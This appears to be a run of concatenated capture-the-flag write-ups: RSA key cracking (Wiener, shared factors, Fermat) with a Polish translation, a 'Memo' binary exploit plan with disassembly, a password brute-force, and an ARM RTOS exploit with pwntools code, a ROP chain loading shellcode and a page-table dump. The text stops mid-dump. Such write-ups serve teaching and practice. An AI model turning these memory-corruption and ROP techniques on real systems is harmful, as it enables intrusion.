The next key we got was directly from factordb: http://factordb.com/index.php?query=549100898763808112064590568096509639806005267015788479836998648112330729762142760306265813195181231930171220686827142359040315653020182064933039077953579528749272321744478656324986362155106653831095037724728643255316641716947998245610175805278242802144980117927688674393383290354985820646326870614197414534217177211618710501438340081867982883181358830449072661742417246835970022211465130756382481343160426921258769780282358703413114522476037306476452786236456339806564839822630841425055758411765631749632457527073092742671445828538125416154242015006557099276782924659662805070769995499831691512789480191593818008294274869515824359702140052678892212293539574359134092465336347101950176544334845468112561615253963771393076343090247719105323352711194948081670662350809687853687199699436636944300210595489981211181100443706510898137733979941302306471697516217631493070094434891637922047009630278889176140288479340611479190580909389486067761958499091506601085734094801729179308537628951345012578144960250844126260353636619225347430788141190654302935255862518781845236444151680147886477815759103864509989480675169631226254252762579781553994364555800120817100328166428687776427164098803076677481602221304265962340500651339469391627432175447
This instantly gives us `p` and `q`.
Another two keys gets broken with `common factor` approach - two modulus share the same prime so by calculating `gcd(n1,n2)` for each moduli pair we can get the common factor.
```pythonfor n1 in moduli: for n2 in moduli: p = gcd(n1,n2) if n1!=n2 and p!=1: print(n1,n2,p)```
The last key we got was from Fermat Fatorization - the primes `p` and `q` were both very close to `sqrt(n)`:
```pythondef fermat_factors(n): assert n % 2 != 0 a = gmpy2.isqrt(n) b2 = gmpy2.square(a) - n while not gmpy2.is_square(b2): a += 1 b2 = gmpy2.square(a) - n factor1 = a + gmpy2.isqrt(b2) factor2 = a - gmpy2.isqrt(b2) print(n, factor1, factor2) return int(factor1), int(factor2)```
Now with those recovered private keys we can proceed with decrypting the ciphertexts:
```pythondef decrypt(private_key, ciphertext): """Decrypt a message with a given private key. Takes in a private_key generated by Crypto.PublicKey.RSA, which must be of size exactly 4096 If the ciphertext is invalid, return None """ if len(ciphertext) < 512 + 16: return None msg_header = ciphertext[:512] msg_iv = ciphertext[512:512 + 16] msg_body = ciphertext[512 + 16:] try: symmetric_key = PKCS1_OAEP.new(private_key).decrypt(msg_header) except ValueError as e: print(e) return None if len(symmetric_key) != 32: return None return AES.new(symmetric_key, mode=AES.MODE_CFB, IV=msg_iv).decrypt(msg_body)
def get_d(n, p, e): from crypto_commons.rsa.rsa_commons import modinv, get_fi_distinct_primes phi = get_fi_distinct_primes([p, n / p]) return modinv(e, phi)
def decode_i(d, e, n, i): private_key = RSA.construct((n, e, d)) with codecs.open("ct/ciphertext-" + str(i) + ".bin") as ct_file: data = ct_file.read() decrypted = decrypt(private_key, data) print(decrypted)```
From this we get list of messages for secretsharing:
```pythondef recover_flag(msgs): print(PlaintextToHexSecretSharer.recover_secret(msgs))
def print_results(): msgs = [ '1-32a1cd9f414f14cff6685879444acbe41e5dba6574a072cace6e8d0eb338ad64910897369b7589e6a408c861c8e708f60fbbbe91953d4a73bcf1df11e1ecaa2885bed1e5a772bfed42d776a9', '1-e0c113fa1ebea9318dd413bf28308707fd660a5d1417fbc7da72416c8baaa5bf628f11c660dcee518134353e6ff8d37c', '1-1b8b6c4e3145a96b1b0031f63521c8df58713c4d6d737039b0f1c0750e16e1579340cfc5dadef4e96d6b95ecf89f52b8136ae657c9c32e96bf4384e18bd8190546ff5102cd006be5e1580053', '1-c332b8b93a914532a2dab045ea52b86d4d3950a990b5fc5e041dce9be1fd3912f9978cad009320e18f4383ca71d9d79114c9816b5f950305a6dd19c9f458695d52', '3-17e568ddc3ed3e6fe330ca47a2b27a2707edd0e0839df59fe9114fe6c08c6fc1ac1c3c8d9ab3cf7860dac103dff464d4c215e197b54f0cb46993912c3d0220a3eb1b80adf33ee2cc59b0372c', '3-b69efb4f9c5205175a4c9afb9d3c7bef728d9fb6c9cc1241411b31d4bd18744660391a330cefa8a86af8d2b80c881cfa', '3-572e70c5acfbe8b4c2cbd47217477d217da88c256ff2586af6a18391972c258bbea6143e7cd2ff6d39393efeb64d51d9318a2c337e50e2d764a42173bc3a1d5c7c8f24b64043daf5d2a8e9f4', '3-e9e6850880eb0a44d36fe9f2e5a458c6da3977b7fcd285afa27e9bfc116b1408570991504116b81864b03a7060bfd5d3fb6e007bb346f276d749befd545d1489c4', '4-4a87367d053c533fd995032ed1e651487cb5dc1e0b1cb70a7662b152c73650f039a60f391a52f2413f43bd54eb7b12c41b42f31ac557edd4bfe46a396a8cdbe19dc9d8121924f43be51c976d', '4-abbbcee71f140198ff8c50f51069465075979c31d32b052e7ae82ec7f6783aef7b41a597f9504d3340967b8d70cbe5a3', '4-35fbbe40058e20463547b363d1f164c0bbbb97cfd9ffe7619bce31a59392f0e9625a2cd035276e09c4df3c0932f22bd322f16e375c7c7fd88da0f972832707eb549ff1e776db37649019ebce', '4-12b466934911986bda845d8d26710a12250d210546f46716c78d7a17b1f2c893b95b934c8c7beafcf81a3123eb2ea05ca89101b23349e455794a8d56608c8ee49dd', '5-7d29041c468b680fcff93c16011a2869f17de75b929b787503b412becde0321ec72fe1e499f2150a1dacb9a5f701c0b37470049dd560cef5163543469817971f50782f763f0b05ab7088f7ae', '5-a7a1e271cf263279cece532b540545fa539b0f3650e2929163b02ee5459debdc53c1e07149eb2153015bb5c88e6270e8', '5-149480c5c75cbe320564adfa432ac8ea241e048ed39c8bc6be14ca80c392487f43a7882075d785d62cb314ea6c89a6b5f28adfa56ec481e124567b88241de2a6cabcc7ec9de3acac8be5375b', '5-7285289084282d559573f68eef10191091d76d6670014202670651f867cd2bc8640a86eef1c1e482affc7ae801fa446956c2186972fb6b7bac88c91d050c9d3cca' ] recover_flag(msgs[::4]) recover_flag(msgs[1::4]) recover_flag(msgs[2::4]) recover_flag(msgs[3::4]) recover_flag(msgs[4::4])```
And from this code we get:
```And another one's down, and another one's down, and another one bites the dust!
Three's the magic number! FLAG{ndQzjRpnSP60NgWET6jX}
Pssst--- can you keep a secret? If you get all five plaintexts, there's another flag :)
1./2J6|M{g!;L oJx''`z.uOzEM )g1'-:tUx%<HE7jWoi 9#q_ZUq_:+u9?]]y/*|5ch>Ee!mGj*MAnd another one's down, and another one's down, and another one bites the dust!```
So sadly only 4 out of 5 plaintexts and only one flag `FLAG{ndQzjRpnSP60NgWET6jX}`
###PL version
W zadaniu dostajemy 10 4096 bitowych kluczy publicznych RSA oraz 5 szyfrogramów przetworzonych dodatkowo przez specjalną bibliotekę `secretsharing`.Celem jest złamanie kluczy publicznych i odzyskanie wiadomości.Niestety udało nam się złamać tylko 5 kluczy i odszyfrować 4 teksty, więc zdobyliśmy tylko jedną flagę (były dwie).Pierwszy złamany klucz był najbardziej oczywisty:
```e = 228667357288918039245378693853585657521675864952652022596906774862933762099300789254749604425410946822615083373857144528433260602296227303503891476899519658402024054958055003935382417495158976039669297102085384069060239103495133686397751308534862740272246002793830176686556622100583797028989159199545629609021240950860918369384255679720982737996963877876422696229673990362117541638946439467137750365479594663480748942805548680674029992842755607231111749435902398183446860414264511210472086370327093252168733191324465379223167108867795127182838092986436559312004954839317032041477453391803727162991479936070518984824373880381139279500094875244634092093215146125326800209962084766610206048422344237134106891516381979347888453395909395872511361844386280383251556028219600028715738105327585286564058975370316649206938752448895524147428799966328319661372247669163998623995646371176483786757036960204837994662752770358964913870689131473714797550537422931003343433377469029232185552979648755665051117443571002017829146470221483652014417043043920340602378994630507647460734411326405049128160906832664174206633659153486878241903912874200129515570971220983561054906106575556061388168231915057339795246395626504771079756241685975773086049021119L
n = 625370676793301609007636145380331611237919351425496690404114180302249419719867435237342547950459491394834137179033102621573611784738388518952362848787237787440594300323769334356435131992521522997795029079251912507591819194229112877831181987001350385569134107880067429777572352378951587000987749447829255561035861423897841083194636994924140527822677164175006590642236546332030533920247393734145161727026178314748349757632676858997648848951518713836001935694487214337663667186794458714595706552931844195313593265852623091839910783970211228963728395962479544383117833611165858148867888664339695901377282163112482988096747232893295750676690941568494463290730116247822838421828649339437010788165430710512903632914670529270528098439859718986580569781164710102583602429563649626238817198851752150256839194761250249327990903746851390967504209752042479527523791824857674302720147951681393130861129469956962513163744166621211214770096232423058352324863327706013479610785632814580681502127018494520155709115651059545236646813027941576086510607434365502848385373510684649855795155224752033959337914546058251330474025320961186763814554194220596151399428277009154211720727770696506865214610059620204055226083684833160528072571967096188932684068843L```
Przy tak dużym `e` jasnym było, ze można użyć ataku Wienera:
```sagec_fracs = continued_fraction(e/n).convergents()test_message = 42test_message_encrypted = pow(test_message,e,n)d = 0for i in xrange(len(c_fracs)): if pow(test_message_encrypted,c_fracs[i].denom(),n) == test_message: d = c_fracs[i].denom() breakprint(d)```
Kolejny klucz dostajemy bezpośrednio z factordb: http://factordb.com/index.php?query=549100898763808112064590568096509639806005267015788479836998648112330729762142760306265813195181231930171220686827142359040315653020182064933039077953579528749272321744478656324986362155106653831095037724728643255316641716947998245610175805278242802144980117927688674393383290354985820646326870614197414534217177211618710501438340081867982883181358830449072661742417246835970022211465130756382481343160426921258769780282358703413114522476037306476452786236456339806564839822630841425055758411765631749632457527073092742671445828538125416154242015006557099276782924659662805070769995499831691512789480191593818008294274869515824359702140052678892212293539574359134092465336347101950176544334845468112561615253963771393076343090247719105323352711194948081670662350809687853687199699436636944300210595489981211181100443706510898137733979941302306471697516217631493070094434891637922047009630278889176140288479340611479190580909389486067761958499091506601085734094801729179308537628951345012578144960250844126260353636619225347430788141190654302935255862518781845236444151680147886477815759103864509989480675169631226254252762579781553994364555800120817100328166428687776427164098803076677481602221304265962340500651339469391627432175447
Co od razu daje nam `p` oraz `q`.
Kolejne dwa klucze zostają złamane ponieważ współdzielą czynnik pierwszy i można go odzyskać wylicząc gcd dla każdej pary modulusów.
```pythonfor n1 in moduli: for n2 in moduli: p = gcd(n1,n2) if n1!=n2 and p!=1: print(n1,n2,p)```
Ostatni klucz padł przez faktoryzacje Fermata - liczby `p` oraz `q` były bardzo blisko `sqrt(n)`.
```pythondef fermat_factors(n): assert n % 2 != 0 a = gmpy2.isqrt(n) b2 = gmpy2.square(a) - n while not gmpy2.is_square(b2): a += 1 b2 = gmpy2.square(a) - n factor1 = a + gmpy2.isqrt(b2) factor2 = a - gmpy2.isqrt(b2) print(n, factor1, factor2) return int(factor1), int(factor2)```
Z tak odzyskanymi kluczami możemy zdekodować szyfrogramy:
```pythondef decrypt(private_key, ciphertext): """Decrypt a message with a given private key. Takes in a private_key generated by Crypto.PublicKey.RSA, which must be of size exactly 4096 If the ciphertext is invalid, return None """ if len(ciphertext) < 512 + 16: return None msg_header = ciphertext[:512] msg_iv = ciphertext[512:512 + 16] msg_body = ciphertext[512 + 16:] try: symmetric_key = PKCS1_OAEP.new(private_key).decrypt(msg_header) except ValueError as e: print(e) return None if len(symmetric_key) != 32: return None return AES.new(symmetric_key, mode=AES.MODE_CFB, IV=msg_iv).decrypt(msg_body)
def get_d(n, p, e): from crypto_commons.rsa.rsa_commons import modinv, get_fi_distinct_primes phi = get_fi_distinct_primes([p, n / p]) return modinv(e, phi)
def decode_i(d, e, n, i): private_key = RSA.construct((n, e, d)) with codecs.open("ct/ciphertext-" + str(i) + ".bin") as ct_file: data = ct_file.read() decrypted = decrypt(private_key, data) print(decrypted)```
W ten sposób dostajemy listę danych dla `secretsharing`:
```pythondef recover_flag(msgs): print(PlaintextToHexSecretSharer.recover_secret(msgs))
def print_results(): msgs = [ '1-32a1cd9f414f14cff6685879444acbe41e5dba6574a072cace6e8d0eb338ad64910897369b7589e6a408c861c8e708f60fbbbe91953d4a73bcf1df11e1ecaa2885bed1e5a772bfed42d776a9', '1-e0c113fa1ebea9318dd413bf28308707fd660a5d1417fbc7da72416c8baaa5bf628f11c660dcee518134353e6ff8d37c', '1-1b8b6c4e3145a96b1b0031f63521c8df58713c4d6d737039b0f1c0750e16e1579340cfc5dadef4e96d6b95ecf89f52b8136ae657c9c32e96bf4384e18bd8190546ff5102cd006be5e1580053', '1-c332b8b93a914532a2dab045ea52b86d4d3950a990b5fc5e041dce9be1fd3912f9978cad009320e18f4383ca71d9d79114c9816b5f950305a6dd19c9f458695d52', '3-17e568ddc3ed3e6fe330ca47a2b27a2707edd0e0839df59fe9114fe6c08c6fc1ac1c3c8d9ab3cf7860dac103dff464d4c215e197b54f0cb46993912c3d0220a3eb1b80adf33ee2cc59b0372c', '3-b69efb4f9c5205175a4c9afb9d3c7bef728d9fb6c9cc1241411b31d4bd18744660391a330cefa8a86af8d2b80c881cfa', '3-572e70c5acfbe8b4c2cbd47217477d217da88c256ff2586af6a18391972c258bbea6143e7cd2ff6d39393efeb64d51d9318a2c337e50e2d764a42173bc3a1d5c7c8f24b64043daf5d2a8e9f4', '3-e9e6850880eb0a44d36fe9f2e5a458c6da3977b7fcd285afa27e9bfc116b1408570991504116b81864b03a7060bfd5d3fb6e007bb346f276d749befd545d1489c4', '4-4a87367d053c533fd995032ed1e651487cb5dc1e0b1cb70a7662b152c73650f039a60f391a52f2413f43bd54eb7b12c41b42f31ac557edd4bfe46a396a8cdbe19dc9d8121924f43be51c976d', '4-abbbcee71f140198ff8c50f51069465075979c31d32b052e7ae82ec7f6783aef7b41a597f9504d3340967b8d70cbe5a3', '4-35fbbe40058e20463547b363d1f164c0bbbb97cfd9ffe7619bce31a59392f0e9625a2cd035276e09c4df3c0932f22bd322f16e375c7c7fd88da0f972832707eb549ff1e776db37649019ebce', '4-12b466934911986bda845d8d26710a12250d210546f46716c78d7a17b1f2c893b95b934c8c7beafcf81a3123eb2ea05ca89101b23349e455794a8d56608c8ee49dd', '5-7d29041c468b680fcff93c16011a2869f17de75b929b787503b412becde0321ec72fe1e499f2150a1dacb9a5f701c0b37470049dd560cef5163543469817971f50782f763f0b05ab7088f7ae', '5-a7a1e271cf263279cece532b540545fa539b0f3650e2929163b02ee5459debdc53c1e07149eb2153015bb5c88e6270e8', '5-149480c5c75cbe320564adfa432ac8ea241e048ed39c8bc6be14ca80c392487f43a7882075d785d62cb314ea6c89a6b5f28adfa56ec481e124567b88241de2a6cabcc7ec9de3acac8be5375b', '5-7285289084282d559573f68eef10191091d76d6670014202670651f867cd2bc8640a86eef1c1e482affc7ae801fa446956c2186972fb6b7bac88c91d050c9d3cca' ] recover_flag(msgs[::4]) recover_flag(msgs[1::4]) recover_flag(msgs[2::4]) recover_flag(msgs[3::4]) recover_flag(msgs[4::4])```
A za pomocą tego kodu dostajemy:
```And another one's down, and another one's down, and another one bites the dust!
Three's the magic number! FLAG{ndQzjRpnSP60NgWET6jX}
Pssst--- can you keep a secret? If you get all five plaintexts, there's another flag :)
1./2J6|M{g!;L oJx''`z.uOzEM )g1'-:tUx%<HE7jWoi 9#q_ZUq_:+u9?]]y/*|5ch>Ee!mGj*MAnd another one's down, and another one's down, and another one bites the dust!```
Więc niestety tylko 4 z 5 tekstów i tylko jedna flaga `FLAG{ndQzjRpnSP60NgWET6jX}` |
# Exploit 200: MemoMemo is a simple binary that records strings, allows editing, and keeps a username/password:```What's user name: bkDo you wanna set password? (y/n) nok
1. Leave message on memo2. Edit message last memo3. View memo4. Delete memo5. Change password6. Quit.>> ```
it has quite a few problems 1. new_memo (0x00400c52) sets a global variable last_memo before checking in use/in bounds 2. new_memo allows overflowing onto the heap when specifying memo size, but the memo is not put in the memo array 3. new_memo stores a stack pointer (to the local memo pointer variable) into a global array after the memo array 4. edit_memo (0x00400da8) only checks if a memo is in use, not for out of bounds 5. change_password (0x00400ff6) has an off by one error, overflowing a null byte into the memo sizes array 6. there is a function at 0x00400b47, which is never called, mmaps RWX memory, reads 0x1000 bytes into it, and jumps to itthere are other bugs too, but it turns out this is exploitable with just 1, 4, and 6. It's possible to exploit it through the heap, but the last function saves a lot of time.
## new_memo sets a global variable too early```0x00400c6f call fcn.get_input0x00400c74 cdqe0x00400c76 mov qword [obj.last_memo], rax0x00400c7d mov rax, qword [obj.last_memo] ; Stores memo index0x00400c84 shl rax, 30x00400c88 add rax, 0x602a700x00400c8e mov rax, qword [rax]0x00400c91 test rax, rax ; Checks if in use0x00400c94 jne 0x400d9b0x00400c9a mov rax, qword [obj.last_memo]0x00400ca1 cmp rax, 4 ; Checks array bounds0x00400ca5 ja 0x400d87```
## new_memo overflows the heap```0x00400d58 mov edi, 0x200x00400d5d call sub.malloc_216_870 ; malloc(0x20)0x00400d62 mov qword [rbp - new_memo], rax0x00400d66 mov rax, qword [rbp - new_memo]0x00400d6a mov rdx, qword [rbp - memo_size]0x00400d6e mov rsi, rax0x00400d71 mov edi, 00x00400d76 call sub.read_168_840 ; Read in user supplied size```
## new_memo stores stack addresses in a global array (weird...)```0x00400cfa mov rax, qword [obj.last_memo]0x00400d01 shl rax, 30x00400d05 lea rdx, [rax + obj.memos] ; Stores memo pointer in array0x00400d0c mov rax, qword [rbp - new_memo]0x00400d10 mov qword [rdx], rax0x00400d13 mov rax, qword [obj.last_memo]0x00400d1a add rax, 5 ; Add 5 to index0x00400d1e shl rax, 30x00400d22 lea rdx, [rax + obj.memos] ; Indexing into memo array0x00400d29 lea rax, [rbp - new_memo] ; lea stack address to store there??0x00400d2d mov qword [rdx], rax0x00400d30 mov rax, qword [obj.last_memo]0x00400d37 mov rdx, qword [rbp - memo_size]0x00400d3b mov dword [rax*4 + obj.sizes], edx ; store size in array preceding memo array```
## edit_memo only checks for in use, not out of bounds```0x00400db7 mov rax, qword [obj.last_memo]0x00400dbe shl rax, 30x00400dc2 add rax, obj.memos0x00400dc8 mov rax, qword [rax]0x00400dcb test rax, rax0x00400dce je 0x400e400x00400dd0 mov edi, str.Edit_message:```
## the handy shellcode-executing function:```(fcn) fcn.lol 122 0x00400b47 push rbp 0x00400b48 mov rbp, rsp 0x00400b4b sub rsp, 0x100x00400b4f mov edi, str.this_is_hidden_memo_pad0x00400b54 call sub.puts_128_8180x00400b59 mov edi, str.you_can_write_anything_here0x00400b5e call sub.puts_128_8180x00400b63 mov r9d, 00x00400b69 mov r8d, 00x00400b6f mov ecx, 0x320x00400b74 mov edx, 70x00400b79 mov esi, 0x10000x00400b7e mov edi, 0x414100000x00400b83 call sub.mmap_144_828 ; mmaps with RWX0x00400b88 mov qword [rbp - local_8h], rax 0x00400b8c mov rax, qword [rbp - local_8h]0x00400b90 mov edx, 0x10000x00400b95 mov esi, 00x00400b9a mov rdi, rax 0x00400b9d call sub.memset_160_8380x00400ba2 mov rax, qword [rbp - local_8h]0x00400ba6 mov edx, 0x10000x00400bab mov rsi, rax 0x00400bae mov edi, 00x00400bb3 call sub.read_168_840 ; Reads input into this new memory0x00400bb8 mov rax, qword [rbp - local_8h]0x00400bbc call rax ; Calls our new shellcode0x00400bbe nop0x00400bbf leave0x00400bc0 ret ```
## The ExploitThe goal is to call the shellcode-running function, which can easily be done with a stack overflow because PIE is off, and stack addresses were kindly written into the global memo array.The exploit is pretty simple, and goes like this: 1. allocate memos with index 0 and 1 2. call new_memo and ask for index 6, overwritting the last_memo variable, without leaving a memo. 3. call edit_memo, which does not check for out-of-bounds, only that the memo is not null. The memo is memo_list[6] which falls into the array of stack addresses, and length is used from memo_sizes[6] which is actually in the memo array, and is allocated. It is necessary to use index 6 rather than 5 due to differing data sizes. 4. we are now writing directly to the stack, 0x18 bytes from the return address, which we will overwrite with the nice shellcode function. 5. input shellcode, get a shell, cat flag.
see solve.py
bkp{you are a talented and ambitious hacker} |
After having a look in ida,I deduced that the executable reads the entered password and calculates the following:Some pseudocode:for each password attempt {long x=0;long x=(x*128h) + (each hex value of the password chars) }So the password is roughly 6 or 7 chars in length , because final value from calculation must equal :CEFF5331D4AAhfinally it checks the value of x;If the value of the x ==CEFF5331D4AAh (the value of the EDX:EAX registers ,denoting a long value) , we have a match.I thought the best approach was to try to brute force the password.So I wrote a java program and used lowercase alpha and digits to try to determine the password .The password was "d00m3r" flag was : xiomara{MD5(password)} flag=xiomara{48c92083dc430eb4e8af78a38f9cc877}excerpt from java program:long x=0;for (int i=0;i<password.length();i++) { x=(x*0x128)+ (byte)(password.charAt(i)); if (x==0xCEFF5331D4AA) { System.out.println(password); System.exit(0);<span> }</span>} |
# The challenge
For this challenge we receive a boot.bin image and a run.sh that runs it using qemu as follows:
```sh#!/bin/sh
appline=$(head -c 1000 /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1)"BkP{This is the flag.}"qemu-system-arm -M versatilepb -cpu cortex-a15 -m 128M -nographic -kernel boot.bin -monitor /dev/null -append "$appline" 2>/dev/null```
We are also told that we must read the flag from address 0x40000000. Based on this I assumed we need to at least run code inside the qemu, and perhaps within kernel mode in order to read the flag.
If we run the qemu image we get the following shell:
```shsfx@ubuntu:/mnt/hgfs/bkpctf/distrib$ ./run.sh[0] BkP RTOS version 1.0[user@main]$Available Programs: run - Run scheduled programs schedule - Switch to scheduling mode clear - Clear schedule exec - Switch to direct execution mode help - This help screen calc - Simple calculator trader - Trading platform library - Manage your library echo - Echo test exit - Restart[user@main]$```
So it seems we are dealing with an RTOS that has a few possible tasks to run. The first thing I did was playing around in the shell, run a few of the programs, etc.
Next I went onto IDA, and loaded it at address 0x0 as an ARM Little Endian blob. After a bit I found out using gdb that the base address should be 0x10000, so I relocated it there.
# User-space tasks
So looking through the disassembly I identified the functions of the main shell by cross-referencing some of the strings. The main function after renaming and adding a few comments looks like this:
```Cvoid __noreturn task_shell(){ int sz; // r0@1 int v1; // r3@1 int v2; // r3@1 int v3; // r1@1 int v4; // r2@1 int v5; // r3@1 int v6; // r0@2 int v7; // r3@2 int v8; // r2@2 void *v9; // r3@2 int v10; // r3@2 int v11; // r3@2 int v12; // r1@2 int v13; // r2@2 int v14; // r3@2 int v15; // r1@6 int v16; // r2@6 int v17; // r3@6 int v18; // r1@12 int v19; // r2@12 int v20; // r3@12 int v21; // r3@20 int v22; // [sp+0h] [bp-88h]@2
sz = strlen((int)"[user@main]$ "); syscall(1, (int)"[user@main]$ ", sz, v1); syscall(1, (int)"\n", 1, v2); // 1 == sys_write printmenu(); syscall(6, v3, v4, v5); while ( 1 ) { memset((int)&v22, 0, 0x80u); v6 = strlen((int)"[user@main]$ "); syscall(1, (int)"[user@main]$ ", v6, v7); do_read(&v22, 128, v8, v9); // sys_read syscall(1, (int)&v22, 128, v10); syscall(1, (int)"\n", 1, v11); if ( !strcmp(&v22, "exit") ) { syscall(99, v12, v13, v14); } else if ( !strcmp(&v22, "help") ) { printmenu(); } else if ( !strcmp(&v22, "clear") ) { syscall(6, v15, v16, v17); // 6 == sys_clear ? } else if ( !strcmp(&v22, "schedule") ) { kernel_alloc[0] = 1; printf("- schedule mode -\n"); } else if ( !strcmp(&v22, "exec") ) { kernel_alloc[0] = 0; printf("- exec mode -\n"); } else if ( !strcmp(&v22, "run") ) { syscall(5, v18, v19, v20); // sys_run } else if ( !strcmp(&v22, "calc") ) { syscall(3, (int)do_calc, 0x1804C, 0); // 3 == launch task } else if ( !strcmp(&v22, "trader") ) { syscall(3, (int)do_trader, 0x1487C, (int)&dword_41B38); } else if ( !strcmp(&v22, "library") ) { syscall(3, (int)do_library, 0x101BC, (int)dword_55AE8); } else if ( !strcmp(&v22, "echo") ) { syscall(3, (int)do_echo, 0xF04C, 0); } else { syscall(1, (int)"bkpsh: command not found!\n", 26, v21); } }}```Note that some part is missing due to Hex-Rays optimizing code out because I mapped everything as ROM (and thus it assumes it's read-only). I was too lazy to fix it, but it is always good to keep in mind that Hex-Rays does use the segment attributes to decide upon optimizations and the like.
Anyway, back to the challenge. After identifying a few syscalls and other functions in the main task, I turned to the library task.
It turns out this task add/list/edit/delete books. This sounds like the classic heap exploitation challenge.
Looking into the different functions, I identified the following issue in the page edit functionality:
```Cpage *__fastcall lib_edit_page(page *result){ item *v1; // r4@1 int pagenum; // r0@2 int *v3; // r4@3 page *page; // r6@3 unsigned int v5; // r4@4 _BYTE *v6; // r4@8 int v7; // r0@8 int v8; // [sp+0h] [bp-410h]@2
v1 = (item *)result; if ( result ) { puts((int)"Page #: "); read_0(&v8, 128); pagenum = parse_num((int)&v8;; if ( v1->numpages < pagenum ) // signed compare! { result = (page *)printf_0("Page doesn't exist\n"); } else { v3 = &v1->title + pagenum; page = (page *)v3[2]; if ( page ) { puts((int)"font: "); read_0(page->font, 48); puts((int)"content: "); read_0(&v8, 1024); v5 = strlen_0((int)&v8;; if ( v5 <= strlen_0(page->content) ) { v6 = (_BYTE *)page->content; v7 = strlen_0(page->content); result = (page *)read_0(v6, v7 - 1); } else { free(page->content); result = (page *)strdup_((int)&v8;; page->content = (int)result; } } else { result = read_page(); v3[2] = (int)result; } } } return result;}```
As you can see, a signed compare is used to determine if the page exists. This allows us to select a page BEFORE the actual book.
The page structure looks as follows:```Cstruct page { char *content; char font[48];};```
So if we can provide an index to points to data we control, we'll have an arbitrary page pointer. In turn, the following code allows us to corrupt memory:
```C puts((int)"font: "); read_0(page->font, 48); puts((int)"content: "); read_0(&v8, 1024); v5 = strlen_0((int)&v8;; if ( v5 <= strlen_0(page->content) ) { v6 = (_BYTE *)page->content; v7 = strlen_0(page->content); result = (page *)read_0(v6, v7 - 1); }
```
As long as the string we provide is shorter than the string at the pointer we control.
I initially went for corrupting the library itself, and ended up with a pretty complicated way of overwriting code using a chain of fake structures.
While writing this, I've simplified the approach to simply write once by creating a fake page. This is the relevant python code:
```python
menu()x.sendline("library")
# Setup a fake page pointer within the title of our first book# write_target points to a function epilogue.
list_help = 0x44009ccread_shift_sp = 0x440064c
write_target = read_shift_spprint "[*] Write target: ", hex(write_target)
fake_page_ptr = 0x06400818 + 12title = "AAAABBBB" + p32(fake_page_ptr) + p32(write_target)assert len(title) < 128add(title.ljust(128,"X"), [])
font, content = "AAAA", "BBBB"
pause()'''This changes the function epilogue from:
ROM:00056AB8 84 D0 8D E2 ADD SP, SP, #0x84 ; Rd = Op1 + Op2ROM:00056ABC 30 80 BD E8 LDMFD SP!, {R4,R5,PC} ; Load Block from Memory
to:
0x440064c: andeq r0, r0, r0 0x4400650: ldmfd sp!, {pc}
This way we get a nice buffer overflow :)'''
edit_page(1, -292, (font, content), "\x00"*4)```
So after running this, the read function will not restore the stack frame and directly pop PC from our buffer.
Next is to create a ROP chain to load arbitrary shellcode. This is what I used:
```sc_size = 0x400ropchain = [ 0x440f2a8 , # : pop {r0, lr} ; bx lr 0, # this is to force r3 = 0 below, but also sys_read! 0x440e7d0, # pop {r1, r2, lr} ; mul r3, r2, r0 ; sub r1, r1, r3 ; bx lr list_help, sc_size, # read 0x400 bytes. Arbitrary number 0x440000c, # svc #0 ; pop {r4, r5, r6, r7, r8, sb, sl, fp, ip, pc} 0x41414141, # r4 0x41414141, # r5 0x41414141, # r6 0x41414141, # r7 0x41414141, # r8 0x41414141, # sb 0x41414141, # sl 0x41414141, # fp 0x41414141, # ip list_help, # pc = return into list_help]
payload = "".join([p32(i) for i in ropchain])assert len(ropchain) < 128
x.sendline(payload)
sc = open("sc.bin", "rb").read()x.send(sc.ljust(sc_size, "\x00"))```
As you can see, I decided to overwrite the list_help function with my shellcode and jump to it.
At this point, we have full arbitrary code execution in userspace, so it's time to look at the kernel itself.
# Kernel space bug
I did spend quite some time analyzing all system calls in the kernel, which is not too many:
* read : Simply read from UART/stdin* write : Write to UART/stdout* random : Generate a random number* exec : execute a task* schedule : schedule a task (add it to a list of tasks)* run : run all scheduled tasks* clear : clear scheduled task list* exit : exit task, i.e. run next scheduled task or go back to main shell.
During reversing, I also saw that the MMU was being initialized by setting TTBR0:
```Cvoid __fastcall setup_mmu(int a1, int a2, int a3, int a4){ __mcr(15, 0, 0x2A00000u, 2, 0, 0); setup_pagetables((int *)0x2A00000); __mcr(15, 0, 1u, 3, 0, 0); __mcr(15, 0, __mrc(15, 0, 1, 0, 0) | 1, 1, 0, 0);}```
So instead of analyzing the routine to setup page tables I simply dumped them from memory using gdb and parsed them using a script (see mmu.py). Note I stopped after the last configured entry:
```VA 0x00000000 --> NO_PXN SECT PA 0x00000000 RW_PL1 VA 0x00100000 --> FAULTVA 0x00200000 --> FAULTVA 0x00300000 --> FAULTVA 0x00400000 --> FAULTVA 0x00500000 --> FAULTVA 0x00600000 --> FAULTVA 0x00700000 --> FAULTVA 0x00800000 --> FAULTVA 0x00900000 --> FAULTVA 0x00a00000 --> PXN SECT PA 0x00a00000 RW_PL1 XNVA 0x00b00000 --> PXN SECT PA 0x00b00000 RW_PL1 XNVA 0x00c00000 --> PXN SECT PA 0x00c00000 RW_PL1 XNVA 0x00d00000 --> PXN SECT PA 0x00d00000 RW_PL1 XNVA 0x00e00000 --> PXN SECT PA 0x00e00000 RW_PL1 XNVA 0x00f00000 --> PXN SECT PA 0x00f00000 RW_PL1 XNVA 0x01000000 --> PXN SECT PA 0x01000000 RW_PL1 XNVA 0x01100000 --> PXN SECT PA 0x01100000 RW_PL1 XNVA 0x01200000 --> PXN SECT PA 0x01200000 RW_PL1 XNVA 0x01300000 --> PXN SECT PA 0x01300000 RW_PL1 XNVA 0x01400000 --> PXN SECT PA 0x01400000 RW_PL1 XNVA 0x01500000 --> PXN SECT PA 0x01500000 RW_PL1 XNVA 0x01600000 --> PXN SECT PA 0x01600000 RW_PL1 XNVA 0x01700000 --> PXN SECT PA 0x01700000 RW_PL1 XNVA 0x01800000 --> PXN SECT PA 0x01800000 RW_PL1 XNVA 0x01900000 --> PXN SECT PA 0x01900000 RW_PL1 XNVA 0x01a00000 --> PXN SECT PA 0x01a00000 RW_PL1 XNVA 0x01b00000 --> PXN SECT PA 0x01b00000 RW_PL1 XNVA 0x01c00000 --> PXN SECT PA 0x01c00000 RW_PL1 XNVA 0x01d00000 --> PXN SECT PA 0x01d00000 RW_PL1 XNVA 0x01e00000 --> PXN SECT PA 0x01e00000 RW_PL1 XNVA 0x01f00000 --> PXN SECT PA 0x01f00000 RW_PL1 XNVA 0x02000000 --> PXN SECT PA 0x02000000 RW_PL1 XNVA 0x02100000 --> PXN SECT PA 0x02100000 RW_PL1 XNVA 0x02200000 --> PXN SECT PA 0x02200000 